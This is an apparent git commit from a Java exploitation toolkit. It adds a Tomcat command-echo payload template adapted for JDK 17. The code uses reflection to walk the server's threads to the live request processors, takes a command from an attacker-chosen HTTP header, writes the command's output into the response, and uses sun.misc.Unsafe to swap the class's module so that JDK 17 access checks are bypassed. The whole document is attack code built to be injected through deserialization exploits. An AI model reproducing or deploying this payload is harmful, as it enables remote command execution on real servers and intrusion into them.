mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
feat: 解决回显马在jdk17中只能使用一次
This commit is contained in:
@@ -0,0 +1,107 @@
|
|||||||
|
package com.qi4l.JYso.template.echoJDK17;
|
||||||
|
|
||||||
|
import sun.misc.Unsafe;
|
||||||
|
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
|
// 回显类在jdk17下的改造,解决JDK17下只能加载一次的问题
|
||||||
|
public class CTomcatEcho17 {
|
||||||
|
public static String CMD_HEADER;
|
||||||
|
|
||||||
|
public CTomcatEcho17() {
|
||||||
|
Object originalModule = patchModule(this.getClass(), null);
|
||||||
|
|
||||||
|
try {
|
||||||
|
boolean flag = false;
|
||||||
|
ThreadGroup group = Thread.currentThread().getThreadGroup();
|
||||||
|
ClassLoader loader = Thread.currentThread().getContextClassLoader();
|
||||||
|
Field f = group.getClass().getDeclaredField("threads");
|
||||||
|
f.setAccessible(true);
|
||||||
|
Thread[] threads = (Thread[]) f.get(group);
|
||||||
|
for (int i = 0; i < threads.length; i++) {
|
||||||
|
try {
|
||||||
|
Thread t = threads[i];
|
||||||
|
if (t == null) continue;
|
||||||
|
String str = t.getName();
|
||||||
|
if (str.contains("exec") || !str.contains("http")) continue;
|
||||||
|
f = t.getClass().getDeclaredField("target");
|
||||||
|
f.setAccessible(true);
|
||||||
|
Object obj = f.get(t);
|
||||||
|
if (!(obj instanceof Runnable)) continue;
|
||||||
|
f = obj.getClass().getDeclaredField("this$0");
|
||||||
|
f.setAccessible(true);
|
||||||
|
obj = f.get(obj);
|
||||||
|
try {
|
||||||
|
f = obj.getClass().getDeclaredField("handler");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
|
||||||
|
}
|
||||||
|
f.setAccessible(true);
|
||||||
|
obj = f.get(obj);
|
||||||
|
try {
|
||||||
|
f = obj.getClass().getSuperclass().getDeclaredField("global");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
f = obj.getClass().getDeclaredField("global");
|
||||||
|
}
|
||||||
|
f.setAccessible(true);
|
||||||
|
obj = f.get(obj);
|
||||||
|
f = obj.getClass().getDeclaredField("processors");
|
||||||
|
f.setAccessible(true);
|
||||||
|
java.util.List processors = (java.util.List) (f.get(obj));
|
||||||
|
for (int j = 0; j < processors.size(); ++j) {
|
||||||
|
Object processor = processors.get(j);
|
||||||
|
f = processor.getClass().getDeclaredField("req");
|
||||||
|
f.setAccessible(true);
|
||||||
|
Object req = f.get(processor);
|
||||||
|
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req);
|
||||||
|
str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER});
|
||||||
|
if (str != null && !str.isEmpty()) {
|
||||||
|
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200));
|
||||||
|
java.io.ByteArrayOutputStream baos = q(str);
|
||||||
|
try {
|
||||||
|
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader);
|
||||||
|
obj = cls.newInstance();
|
||||||
|
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length);
|
||||||
|
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj);
|
||||||
|
} catch (NoSuchMethodException var5) {
|
||||||
|
Class cls = Class.forName("java.nio.ByteBuffer", false, loader);
|
||||||
|
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{baos.toByteArray()});
|
||||||
|
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj);
|
||||||
|
}
|
||||||
|
flag = true;
|
||||||
|
}
|
||||||
|
if (flag) break;
|
||||||
|
}
|
||||||
|
if (flag) break;
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
} finally {
|
||||||
|
patchModule(this.getClass(), originalModule);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static java.io.ByteArrayOutputStream q(String cmd) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object patchModule(Class clazz, Object originalModule) {
|
||||||
|
try {
|
||||||
|
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
|
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
|
||||||
|
unsafeField.setAccessible(true);
|
||||||
|
Unsafe unsafe = (Unsafe) unsafeField.get(null);
|
||||||
|
if (originalModule == null) {
|
||||||
|
originalModule = Class.class.getMethod("getModule").invoke(Object.class);
|
||||||
|
}
|
||||||
|
Class currentClass = clazz;
|
||||||
|
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
|
||||||
|
return unsafe.getAndSetObject(currentClass, addr, originalModule);
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user